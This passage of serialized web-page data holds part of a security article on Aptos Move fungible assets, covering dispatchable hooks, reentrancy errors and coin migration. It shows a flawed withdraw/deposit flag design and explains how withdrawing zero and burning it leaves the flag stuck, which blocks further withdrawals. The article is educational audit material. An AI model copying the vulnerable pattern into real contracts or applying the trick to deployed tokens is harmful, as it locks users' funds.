e":3887},[72513],{"type":29,"value":68356},{"type":24,"tag":271,"props":72515,"children":72516},{"style":288},[72517],{"type":29,"value":13709},{"type":24,"tag":271,"props":72519,"children":72520},{"class":273,"line":312},[72521],{"type":24,"tag":271,"props":72522,"children":72523},{"style":288},[72524],{"type":29,"value":1171},{"type":24,"tag":25,"props":72526,"children":72527},{},[72528,72530,72536,72538,72544],{"type":29,"value":72529},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":135,"props":72531,"children":72533},{"className":72532},[],[72534],{"type":29,"value":72535},"MintRef",{"type":29,"value":72537}," for minting and ",{"type":24,"tag":135,"props":72539,"children":72541},{"className":72540},[],[72542],{"type":29,"value":72543},"BurnRef",{"type":29,"value":72545}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":62,"props":72547,"children":72549},{"id":72548},"dispatchable-fungible-assets",[72550],{"type":29,"value":72551},"Dispatchable fungible assets",{"type":24,"tag":25,"props":72553,"children":72554},{},[72555],{"type":29,"value":72556},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":72558,"children":72559},{},[72560],{"type":29,"value":72561},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":72563,"props":72564,"children":72565},"warning",{},[72566],{"type":24,"tag":25,"props":72567,"children":72568},{},[72569,72571,72577],{"type":29,"value":72570},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":135,"props":72572,"children":72574},{"className":72573},[],[72575],{"type":29,"value":72576},"transfer_assert_minimum_deposit",{"type":29,"value":72578}," that can help mitigate such risks.",{"type":24,"tag":25,"props":72580,"children":72581},{},[72582,72584,72589,72591,72598],{"type":29,"value":72583},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":135,"props":72585,"children":72587},{"className":72586},[],[72588],{"type":29,"value":68461},{"type":29,"value":72590}," to ensure ",{"type":24,"tag":32,"props":72592,"children":72595},{"href":72593,"rel":72594},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[36],[72596],{"type":29,"value":72597},"their signature remains immutable",{"type":29,"value":72599},". An example implementation might look like this:",{"type":24,"tag":261,"props":72601,"children":72603},{"className":10718,"code":72602,"language":10717,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[72604],{"type":24,"tag":135,"props":72605,"children":72606},{"__ignoreMap":7},[72607,72643,72670,72689,72713,72732,72740,72786,72793,72800,72836,72863,72883,72906,72913,72920,72964],{"type":24,"tag":271,"props":72608,"children":72609},{"class":273,"line":274},[72610,72614,72618,72623,72627,72631,72635,72639],{"type":24,"tag":271,"props":72611,"children":72612},{"style":630},[72613],{"type":29,"value":68461},{"type":24,"tag":271,"props":72615,"children":72616},{"style":630},[72617],{"type":29,"value":13924},{"type":24,"tag":271,"props":72619,"children":72620},{"style":630},[72621],{"type":29,"value":72622}," withdraw_hook",{"type":24,"tag":271,"props":72624,"children":72625},{"style":288},[72626],{"type":29,"value":801},{"type":24,"tag":271,"props":72628,"children":72629},{"style":3887},[72630],{"type":29,"value":13704},{"type":24,"tag":271,"props":72632,"children":72633},{"style":624},[72634],{"type":29,"value":12210},{"type":24,"tag":271,"props":72636,"children":72637},{"style":630},[72638],{"type":29,"value":13648},{"type":24,"tag":271,"props":72640,"children":72641},{"style":288},[72642],{"type":29,"value":14305},{"type":24,"tag":271,"props":72644,"children":72645},{"class":273,"line":284},[72646,72650,72654,72658,72662,72666],{"type":24,"tag":271,"props":72647,"children":72648},{"style":630},[72649],{"type":29,"value":37088},{"type":24,"tag":271,"props":72651,"children":72652},{"style":624},[72653],{"type":29,"value":12210},{"type":24,"tag":271,"props":72655,"children":72656},{"style":3887},[72657],{"type":29,"value":68347},{"type":24,"tag":271,"props":72659,"children":72660},{"style":288},[72661],{"type":29,"value":801},{"type":24,"tag":271,"props":72663,"children":72664},{"style":3887},[72665],{"type":29,"value":13704},{"type":24,"tag":271,"props":72667,"children":72668},{"style":288},[72669],{"type":29,"value":13855},{"type":24,"tag":271,"props":72671,"children":72672},{"class":273,"line":294},[72673,72677,72681,72685],{"type":24,"tag":271,"props":72674,"children":72675},{"style":630},[72676],{"type":29,"value":68368},{"type":24,"tag":271,"props":72678,"children":72679},{"style":624},[72680],{"type":29,"value":12210},{"type":24,"tag":271,"props":72682,"children":72683},{"style":3887},[72684],{"type":29,"value":13576},{"type":24,"tag":271,"props":72686,"children":72687},{"style":288},[72688],{"type":29,"value":638},{"type":24,"tag":271,"props":72690,"children":72691},{"class":273,"line":303},[72692,72697,72701,72705,72709],{"type":24,"tag":271,"props":72693,"children":72694},{"style":630},[72695],{"type":29,"value":72696}," transfer_ref",{"type":24,"tag":271,"props":72698,"children":72699},{"style":624},[72700],{"type":29,"value":12210},{"type":24,"tag":271,"props":72702,"children":72703},{"style":624},[72704],{"type":29,"value":14858},{"type":24,"tag":271,"props":72706,"children":72707},{"style":3887},[72708],{"type":29,"value":72211},{"type":24,"tag":271,"props":72710,"children":72711},{"style":288},[72712],{"type":29,"value":638},{"type":24,"tag":271,"props":72714,"children":72715},{"class":273,"line":312},[72716,72720,72724,72728],{"type":24,"tag":271,"props":72717,"children":72718},{"style":288},[72719],{"type":29,"value":2693},{"type":24,"tag":271,"props":72721,"children":72722},{"style":624},[72723],{"type":29,"value":12210},{"type":24,"tag":271,"props":72725,"children":72726},{"style":3887},[72727],{"type":29,"value":68326},{"type":24,"tag":271,"props":72729,"children":72730},{"style":288},[72731],{"type":29,"value":7145},{"type":24,"tag":271,"props":72733,"children":72734},{"class":273,"line":321},[72735],{"type":24,"tag":271,"props":72736,"children":72737},{"style":2058},[72738],{"type":29,"value":72739}," //check paused, gather fees etc.\n",{"type":24,"tag":271,"props":72741,"children":72742},{"class":273,"line":330},[72743,72748,72752,72757,72761,72766,72770,72774,72778,72782],{"type":24,"tag":271,"props":72744,"children":72745},{"style":288},[72746],{"type":29,"value":72747}," fungible_asset",{"type":24,"tag":271,"props":72749,"children":72750},{"style":624},[72751],{"type":29,"value":11207},{"type":24,"tag":271,"props":72753,"children":72754},{"style":598},[72755],{"type":29,"value":72756},"withdraw_with_ref",{"type":24,"tag":271,"props":72758,"children":72759},{"style":288},[72760],{"type":29,"value":606},{"type":24,"tag":271,"props":72762,"children":72763},{"style":630},[72764],{"type":29,"value":72765},"transfer_ref",{"type":24,"tag":271,"props":72767,"children":72768},{"style":288},[72769],{"type":29,"value":158},{"type":24,"tag":271,"props":72771,"children":72772},{"style":630},[72773],{"type":29,"value":13657},{"type":24,"tag":271,"props":72775,"children":72776},{"style":288},[72777],{"type":29,"value":158},{"type":24,"tag":271,"props":72779,"children":72780},{"style":630},[72781],{"type":29,"value":27994},{"type":24,"tag":271,"props":72783,"children":72784},{"style":288},[72785],{"type":29,"value":694},{"type":24,"tag":271,"props":72787,"children":72788},{"class":273,"line":339},[72789],{"type":24,"tag":271,"props":72790,"children":72791},{"style":288},[72792],{"type":29,"value":1171},{"type":24,"tag":271,"props":72794,"children":72795},{"class":273,"line":347},[72796],{"type":24,"tag":271,"props":72797,"children":72798},{"emptyLinePlaceholder":16},[72799],{"type":29,"value":327},{"type":24,"tag":271,"props":72801,"children":72802},{"class":273,"line":356},[72803,72807,72811,72816,72820,72824,72828,72832],{"type":24,"tag":271,"props":72804,"children":72805},{"style":630},[72806],{"type":29,"value":68461},{"type":24,"tag":271,"props":72808,"children":72809},{"style":630},[72810],{"type":29,"value":13924},{"type":24,"tag":271,"props":72812,"children":72813},{"style":630},[72814],{"type":29,"value":72815}," deposit_hook",{"type":24,"tag":271,"props":72817,"children":72818},{"style":288},[72819],{"type":29,"value":801},{"type":24,"tag":271,"props":72821,"children":72822},{"style":3887},[72823],{"type":29,"value":13704},{"type":24,"tag":271,"props":72825,"children":72826},{"style":624},[72827],{"type":29,"value":12210},{"type":24,"tag":271,"props":72829,"children":72830},{"style":630},[72831],{"type":29,"value":13648},{"type":24,"tag":271,"props":72833,"children":72834},{"style":288},[72835],{"type":29,"value":14305},{"type":24,"tag":271,"props":72837,"children":72838},{"class":273,"line":365},[72839,72843,72847,72851,72855,72859],{"type":24,"tag":271,"props":72840,"children":72841},{"style":630},[72842],{"type":29,"value":37088},{"type":24,"tag":271,"props":72844,"children":72845},{"style":624},[72846],{"type":29,"value":12210},{"type":24,"tag":271,"props":72848,"children":72849},{"style":3887},[72850],{"type":29,"value":68347},{"type":24,"tag":271,"props":72852,"children":72853},{"style":288},[72854],{"type":29,"value":801},{"type":24,"tag":271,"props":72856,"children":72857},{"style":3887},[72858],{"type":29,"value":13704},{"type":24,"tag":271,"props":72860,"children":72861},{"style":288},[72862],{"type":29,"value":13855},{"type":24,"tag":271,"props":72864,"children":72865},{"class":273,"line":374},[72866,72871,72875,72879],{"type":24,"tag":271,"props":72867,"children":72868},{"style":630},[72869],{"type":29,"value":72870}," fa",{"type":24,"tag":271,"props":72872,"children":72873},{"style":624},[72874],{"type":29,"value":12210},{"type":24,"tag":271,"props":72876,"children":72877},{"style":3887},[72878],{"type":29,"value":68326},{"type":24,"tag":271,"props":72880,"children":72881},{"style":288},[72882],{"type":29,"value":638},{"type":24,"tag":271,"props":72884,"children":72885},{"class":273,"line":384},[72886,72890,72894,72898,72902],{"type":24,"tag":271,"props":72887,"children":72888},{"style":630},[72889],{"type":29,"value":72696},{"type":24,"tag":271,"props":72891,"children":72892},{"style":624},[72893],{"type":29,"value":12210},{"type":24,"tag":271,"props":72895,"children":72896},{"style":624},[72897],{"type":29,"value":14858},{"type":24,"tag":271,"props":72899,"children":72900},{"style":3887},[72901],{"type":29,"value":72211},{"type":24,"tag":271,"props":72903,"children":72904},{"style":288},[72905],{"type":29,"value":638},{"type":24,"tag":271,"props":72907,"children":72908},{"class":273,"line":393},[72909],{"type":24,"tag":271,"props":72910,"children":72911},{"style":288},[72912],{"type":29,"value":919},{"type":24,"tag":271,"props":72914,"children":72915},{"class":273,"line":402},[72916],{"type":24,"tag":271,"props":72917,"children":72918},{"style":2058},[72919],{"type":29,"value":72739},{"type":24,"tag":271,"props":72921,"children":72922},{"class":273,"line":411},[72923,72927,72931,72936,72940,72944,72948,72952,72956,72960],{"type":24,"tag":271,"props":72924,"children":72925},{"style":288},[72926],{"type":29,"value":72747},{"type":24,"tag":271,"props":72928,"children":72929},{"style":624},[72930],{"type":29,"value":11207},{"type":24,"tag":271,"props":72932,"children":72933},{"style":598},[72934],{"type":29,"value":72935},"deposit_with_ref",{"type":24,"tag":271,"props":72937,"children":72938},{"style":288},[72939],{"type":29,"value":606},{"type":24,"tag":271,"props":72941,"children":72942},{"style":630},[72943],{"type":29,"value":72765},{"type":24,"tag":271,"props":72945,"children":72946},{"style":288},[72947],{"type":29,"value":158},{"type":24,"tag":271,"props":72949,"children":72950},{"style":630},[72951],{"type":29,"value":13657},{"type":24,"tag":271,"props":72953,"children":72954},{"style":288},[72955],{"type":29,"value":158},{"type":24,"tag":271,"props":72957,"children":72958},{"style":630},[72959],{"type":29,"value":68519},{"type":24,"tag":271,"props":72961,"children":72962},{"style":288},[72963],{"type":29,"value":1155},{"type":24,"tag":271,"props":72965,"children":72966},{"class":273,"line":420},[72967],{"type":24,"tag":271,"props":72968,"children":72969},{"style":288},[72970],{"type":29,"value":1171},{"type":24,"tag":72972,"props":72973,"children":72974},"question",{},[72975,73002],{"type":24,"tag":25,"props":72976,"children":72977},{},[72978,72980,72986,72988,72994,72995,73001],{"type":29,"value":72979},"Why hook functions rely on ",{"type":24,"tag":135,"props":72981,"children":72983},{"className":72982},[],[72984],{"type":29,"value":72985},"*_with_ref",{"type":29,"value":72987}," calls? What would happen if the hook function called ",{"type":24,"tag":135,"props":72989,"children":72991},{"className":72990},[],[72992],{"type":29,"value":72993},"dispatchable_fungible_asset::withdraw",{"type":29,"value":24487},{"type":24,"tag":135,"props":72996,"children":72998},{"className":72997},[],[72999],{"type":29,"value":73000},"fungible_asset::withdraw_with_ref",{"type":29,"value":10887},{"type":24,"tag":73003,"props":73004,"children":73005},"template",{"v-slot:answer-0":7},[73006,73018],{"type":24,"tag":25,"props":73007,"children":73008},{},[73009,73011,73016],{"type":29,"value":73010},"A1: Hook functions rely on ",{"type":24,"tag":135,"props":73012,"children":73014},{"className":73013},[],[73015],{"type":29,"value":72985},{"type":29,"value":73017}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":73019,"children":73020},{},[73021,73023,73028],{"type":29,"value":73022},"A2: A ",{"type":24,"tag":135,"props":73024,"children":73026},{"className":73025},[],[73027],{"type":29,"value":72993},{"type":29,"value":73029}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":73031,"children":73032},{},[73033],{"type":29,"value":73034},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":261,"props":73036,"children":73038},{"className":10718,"code":73037,"language":10717,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[73039],{"type":24,"tag":135,"props":73040,"children":73041},{"__ignoreMap":7},[73042,73137,73157,73172,73192,73235,73250,73257,73264,73383,73402,73417,73436,73479],{"type":24,"tag":271,"props":73043,"children":73044},{"class":273,"line":274},[73045,73049,73053,73057,73061,73065,73069,73073,73077,73081,73085,73089,73093,73097,73101,73105,73109,73113,73117,73121,73125,73129,73133],{"type":24,"tag":271,"props":73046,"children":73047},{"style":630},[73048],{"type":29,"value":68461},{"type":24,"tag":271,"props":73050,"children":73051},{"style":630},[73052],{"type":29,"value":13924},{"type":24,"tag":271,"props":73054,"children":73055},{"style":630},[73056],{"type":29,"value":68470},{"type":24,"tag":271,"props":73058,"children":73059},{"style":288},[73060],{"type":29,"value":801},{"type":24,"tag":271,"props":73062,"children":73063},{"style":3887},[73064],{"type":29,"value":13704},{"type":24,"tag":271,"props":73066,"children":73067},{"style":624},[73068],{"type":29,"value":12210},{"type":24,"tag":271,"props":73070,"children":73071},{"style":630},[73072],{"type":29,"value":13648},{"type":24,"tag":271,"props":73074,"children":73075},{"style":288},[73076],{"type":29,"value":15327},{"type":24,"tag":271,"props":73078,"children":73079},{"style":630},[73080],{"type":29,"value":13657},{"type":24,"tag":271,"props":73082,"children":73083},{"style":624},[73084],{"type":29,"value":12210},{"type":24,"tag":271,"props":73086,"children":73087},{"style":3887},[73088],{"type":29,"value":68347},{"type":24,"tag":271,"props":73090,"children":73091},{"style":288},[73092],{"type":29,"value":801},{"type":24,"tag":271,"props":73094,"children":73095},{"style":3887},[73096],{"type":29,"value":13704},{"type":24,"tag":271,"props":73098,"children":73099},{"style":288},[73100],{"type":29,"value":14347},{"type":24,"tag":271,"props":73102,"children":73103},{"style":630},[73104],{"type":29,"value":68519},{"type":24,"tag":271,"props":73106,"children":73107},{"style":624},[73108],{"type":29,"value":12210},{"type":24,"tag":271,"props":73110,"children":73111},{"style":3887},[73112],{"type":29,"value":68326},{"type":24,"tag":271,"props":73114,"children":73115},{"style":288},[73116],{"type":29,"value":158},{"type":24,"tag":271,"props":73118,"children":73119},{"style":630},[73120],{"type":29,"value":72765},{"type":24,"tag":271,"props":73122,"children":73123},{"style":624},[73124],{"type":29,"value":12210},{"type":24,"tag":271,"props":73126,"children":73127},{"style":624},[73128],{"type":29,"value":14858},{"type":24,"tag":271,"props":73130,"children":73131},{"style":3887},[73132],{"type":29,"value":72211},{"type":24,"tag":271,"props":73134,"children":73135},{"style":288},[73136],{"type":29,"value":919},{"type":24,"tag":271,"props":73138,"children":73139},{"class":273,"line":284},[73140,73145,73149,73153],{"type":24,"tag":271,"props":73141,"children":73142},{"style":598},[73143],{"type":29,"value":73144}," assert_withdraw_flag",{"type":24,"tag":271,"props":73146,"children":73147},{"style":288},[73148],{"type":29,"value":606},{"type":24,"tag":271,"props":73150,"children":73151},{"style":278},[73152],{"type":29,"value":5670},{"type":24,"tag":271,"props":73154,"children":73155},{"style":288},[73156],{"type":29,"value":1155},{"type":24,"tag":271,"props":73158,"children":73159},{"class":273,"line":294},[73160,73164,73168],{"type":24,"tag":271,"props":73161,"children":73162},{"style":288},[73163],{"type":29,"value":69504},{"type":24,"tag":271,"props":73165,"children":73166},{"style":624},[73167],{"type":29,"value":17298},{"type":24,"tag":271,"props":73169,"children":73170},{"style":288},[73171],{"type":29,"value":19475},{"type":24,"tag":271,"props":73173,"children":73174},{"class":273,"line":303},[73175,73180,73184,73188],{"type":24,"tag":271,"props":73176,"children":73177},{"style":598},[73178],{"type":29,"value":73179}," set_withdraw_flag",{"type":24,"tag":271,"props":73181,"children":73182},{"style":288},[73183],{"type":29,"value":606},{"type":24,"tag":271,"props":73185,"children":73186},{"style":278},[73187],{"type":29,"value":15890},{"type":24,"tag":271,"props":73189,"children":73190},{"style":288},[73191],{"type":29,"value":1155},{"type":24,"tag":271,"props":73193,"children":73194},{"class":273,"line":312},[73195,73199,73203,73207,73211,73215,73219,73223,73227,73231],{"type":24,"tag":271,"props":73196,"children":73197},{"style":288},[73198],{"type":29,"value":72747},{"type":24,"tag":271,"props":73200,"children":73201},{"style":624},[73202],{"type":29,"value":11207},{"type":24,"tag":271,"props":73204,"children":73205},{"style":598},[73206],{"type":29,"value":72935},{"type":24,"tag":271,"props":73208,"children":73209},{"style":288},[73210],{"type":29,"value":606},{"type":24,"tag":271,"props":73212,"children":73213},{"style":630},[73214],{"type":29,"value":72765},{"type":24,"tag":271,"props":73216,"children":73217},{"style":288},[73218],{"type":29,"value":158},{"type":24,"tag":271,"props":73220,"children":73221},{"style":630},[73222],{"type":29,"value":13657},{"type":24,"tag":271,"props":73224,"children":73225},{"style":288},[73226],{"type":29,"value":158},{"type":24,"tag":271,"props":73228,"children":73229},{"style":630},[73230],{"type":29,"value":27994},{"type":24,"tag":271,"props":73232,"children":73233},{"style":288},[73234],{"type":29,"value":1155},{"type":24,"tag":271,"props":73236,"children":73237},{"class":273,"line":321},[73238,73242,73246],{"type":24,"tag":271,"props":73239,"children":73240},{"style":288},[73241],{"type":29,"value":69504},{"type":24,"tag":271,"props":73243,"children":73244},{"style":624},[73245],{"type":29,"value":17298},{"type":24,"tag":271,"props":73247,"children":73248},{"style":288},[73249],{"type":29,"value":19475},{"type":24,"tag":271,"props":73251,"children":73252},{"class":273,"line":330},[73253],{"type":24,"tag":271,"props":73254,"children":73255},{"style":288},[73256],{"type":29,"value":4385},{"type":24,"tag":271,"props":73258,"children":73259},{"class":273,"line":339},[73260],{"type":24,"tag":271,"props":73261,"children":73262},{"emptyLinePlaceholder":16},[73263],{"type":29,"value":327},{"type":24,"tag":271,"props":73265,"children":73266},{"class":273,"line":347},[73267,73271,73275,73279,73283,73287,73291,73295,73299,73303,73307,73311,73315,73319,73323,73327,73331,73335,73339,73343,73347,73351,73355,73359,73363,73367,73371,73375,73379],{"type":24,"tag":271,"props":73268,"children":73269},{"style":630},[73270],{"type":29,"value":68461},{"type":24,"tag":271,"props":73272,"children":73273},{"style":630},[73274],{"type":29,"value":13924},{"type":24,"tag":271,"props":73276,"children":73277},{"style":630},[73278],{"type":29,"value":27960},{"type":24,"tag":271,"props":73280,"children":73281},{"style":288},[73282],{"type":29,"value":801},{"type":24,"tag":271,"props":73284,"children":73285},{"style":3887},[73286],{"type":29,"value":13704},{"type":24,"tag":271,"props":73288,"children":73289},{"style":624},[73290],{"type":29,"value":12210},{"type":24,"tag":271,"props":73292,"children":73293},{"style":630},[73294],{"type":29,"value":13648},{"type":24,"tag":271,"props":73296,"children":73297},{"style":288},[73298],{"type":29,"value":15327},{"type":24,"tag":271,"props":73300,"children":73301},{"style":630},[73302],{"type":29,"value":13657},{"type":24,"tag":271,"props":73304,"children":73305},{"style":624},[73306],{"type":29,"value":12210},{"type":24,"tag":271,"props":73308,"children":73309},{"style":3887},[73310],{"type":29,"value":68347},{"type":24,"tag":271,"props":73312,"children":73313},{"style":288},[73314],{"type":29,"value":801},{"type":24,"tag":271,"props":73316,"children":73317},{"style":3887},[73318],{"type":29,"value":13704},{"type":24,"tag":271,"props":73320,"children":73321},{"style":288},[73322],{"type":29,"value":14347},{"type":24,"tag":271,"props":73324,"children":73325},{"style":630},[73326],{"type":29,"value":27994},{"type":24,"tag":271,"props":73328,"children":73329},{"style":624},[73330],{"type":29,"value":12210},{"type":24,"tag":271,"props":73332,"children":73333},{"style":3887},[73334],{"type":29,"value":13576},{"type":24,"tag":271,"props":73336,"children":73337},{"style":288},[73338],{"type":29,"value":158},{"type":24,"tag":271,"props":73340,"children":73341},{"style":630},[73342],{"type":29,"value":72765},{"type":24,"tag":271,"props":73344,"children":73345},{"style":624},[73346],{"type":29,"value":12210},{"type":24,"tag":271,"props":73348,"children":73349},{"style":624},[73350],{"type":29,"value":14858},{"type":24,"tag":271,"props":73352,"children":73353},{"style":3887},[73354],{"type":29,"value":72211},{"type":24,"tag":271,"props":73356,"children":73357},{"style":288},[73358],{"type":29,"value":2693},{"type":24,"tag":271,"props":73360,"children":73361},{"style":624},[73362],{"type":29,"value":12210},{"type":24,"tag":271,"props":73364,"children":73365},{"style":3887},[73366],{"type":29,"value":68326},{"type":24,"tag":271,"props":73368,"children":73369},{"style":630},[73370],{"type":29,"value":15283},{"type":24,"tag":271,"props":73372,"children":73373},{"style":288},[73374],{"type":29,"value":30718},{"type":24,"tag":271,"props":73376,"children":73377},{"style":624},[73378],{"type":29,"value":17298},{"type":24,"tag":271,"props":73380,"children":73381},{"style":288},[73382],{"type":29,"value":68552},{"type":24,"tag":271,"props":73384,"children":73385},{"class":273,"line":356},[73386,73390,73394,73398],{"type":24,"tag":271,"props":73387,"children":73388},{"style":598},[73389],{"type":29,"value":73144},{"type":24,"tag":271,"props":73391,"children":73392},{"style":288},[73393],{"type":29,"value":606},{"type":24,"tag":271,"props":73395,"children":73396},{"style":278},[73397],{"type":29,"value":15890},{"type":24,"tag":271,"props":73399,"children":73400},{"style":288},[73401],{"type":29,"value":1155},{"type":24,"tag":271,"props":73403,"children":73404},{"class":273,"line":365},[73405,73409,73413],{"type":24,"tag":271,"props":73406,"children":73407},{"style":288},[73408],{"type":29,"value":69504},{"type":24,"tag":271,"props":73410,"children":73411},{"style":624},[73412],{"type":29,"value":17298},{"type":24,"tag":271,"props":73414,"children":73415},{"style":288},[73416],{"type":29,"value":19475},{"type":24,"tag":271,"props":73418,"children":73419},{"class":273,"line":374},[73420,73424,73428,73432],{"type":24,"tag":271,"props":73421,"children":73422},{"style":598},[73423],{"type":29,"value":73179},{"type":24,"tag":271,"props":73425,"children":73426},{"style":288},[73427],{"type":29,"value":606},{"type":24,"tag":271,"props":73429,"children":73430},{"style":278},[73431],{"type":29,"value":5670},{"type":24,"tag":271,"props":73433,"children":73434},{"style":288},[73435],{"type":29,"value":1155},{"type":24,"tag":271,"props":73437,"children":73438},{"class":273,"line":384},[73439,73443,73447,73451,73455,73459,73463,73467,73471,73475],{"type":24,"tag":271,"props":73440,"children":73441},{"style":288},[73442],{"type":29,"value":72747},{"type":24,"tag":271,"props":73444,"children":73445},{"style":624},[73446],{"type":29,"value":11207},{"type":24,"tag":271,"props":73448,"children":73449},{"style":598},[73450],{"type":29,"value":72756},{"type":24,"tag":271,"props":73452,"children":73453},{"style":288},[73454],{"type":29,"value":606},{"type":24,"tag":271,"props":73456,"children":73457},{"style":630},[73458],{"type":29,"value":72765},{"type":24,"tag":271,"props":73460,"children":73461},{"style":288},[73462],{"type":29,"value":158},{"type":24,"tag":271,"props":73464,"children":73465},{"style":630},[73466],{"type":29,"value":13657},{"type":24,"tag":271,"props":73468,"children":73469},{"style":288},[73470],{"type":29,"value":158},{"type":24,"tag":271,"props":73472,"children":73473},{"style":630},[73474],{"type":29,"value":27994},{"type":24,"tag":271,"props":73476,"children":73477},{"style":288},[73478],{"type":29,"value":694},{"type":24,"tag":271,"props":73480,"children":73481},{"class":273,"line":393},[73482],{"type":24,"tag":271,"props":73483,"children":73484},{"style":288},[73485],{"type":29,"value":1171},{"type":24,"tag":25,"props":73487,"children":73488},{},[73489],{"type":29,"value":73490},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":72972,"props":73492,"children":73493},{},[73494,73499],{"type":24,"tag":25,"props":73495,"children":73496},{},[73497],{"type":29,"value":73498},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":73003,"props":73500,"children":73501},{"v-slot:answer-0":7},[73502,73522],{"type":24,"tag":25,"props":73503,"children":73504},{},[73505,73507,73512,73514,73520],{"type":29,"value":73506},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":135,"props":73508,"children":73510},{"className":73509},[],[73511],{"type":29,"value":68297},{"type":29,"value":73513}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":135,"props":73515,"children":73517},{"className":73516},[],[73518],{"type":29,"value":73519},"fungible_asset::destroy_zero",{"type":29,"value":73521},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":73523,"children":73524},{},[73525],{"type":29,"value":73526},"It's important to understand all the features in the standard.",{"type":24,"tag":62,"props":73528,"children":73530},{"id":73529},"migrating-from-coins-to-fungible-assets",[73531],{"type":29,"value":73532},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":73534,"children":73535},{},[73536,73538,73543],{"type":29,"value":73537},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":135,"props":73539,"children":73541},{"className":73540},[],[73542],{"type":29,"value":67752},{"type":29,"value":73544},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":73546,"props":73547,"children":73548},"note",{},[73549],{"type":24,"tag":25,"props":73550,"children":73551},{},[73552,73554,73559,73561,73566],{"type":29,"value":73553},"While the ",{"type":24,"tag":135,"props":73555,"children":73557},{"className":73556},[],[73558],{"type":29,"value":67752},{"type":29,"value":73560}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":135,"props":73562,"children":73564},{"className":73563},[],[73565],{"type":29,"value":67752},{"type":29,"value":41},{"type":24,"tag":25,"props":73568,"children":73569},{},[73570,73571,73577,73579,73584,73586,73591],{"type":29,"value":1422},{"type":24,"tag":135,"props":73572,"children":73574},{"className":73573},[],[73575],{"type":29,"value":73576},"coin_to_fungible_asset",{"type":29,"value":73578}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":135,"props":73580,"children":73582},{"className":73581},[],[73583],{"type":29,"value":67752},{"type":29,"value":73585}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":135,"props":73587,"children":73589},{"className":73588},[],[73590],{"type":29,"value":67752},{"type":29,"value":73592}," is not allowed.",{"type":24,"tag":261,"props":73594,"children":73596},{"className":10718,"code":73595,"language":10717,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[73597],{"type":24,"tag":135,"props":73598,"children":73599},{"__ignoreMap":7},[73600,73628,73655,73691,73724,73757,73793],{"type":24,"tag":271,"props":73601,"children":73602},{"class":273,"line":274},[73603,73607,73611,73616,73620,73624],{"type":24,"tag":271,"props":73604,"children":73605},{"style":630},[73606],{"type":29,"value":68461},{"type":24,"tag":271,"props":73608,"children":73609},{"style":630},[73610],{"type":29,"value":13924},{"type":24,"tag":271,"props":73612,"children":73613},{"style":630},[73614],{"type":29,"value":73615}," 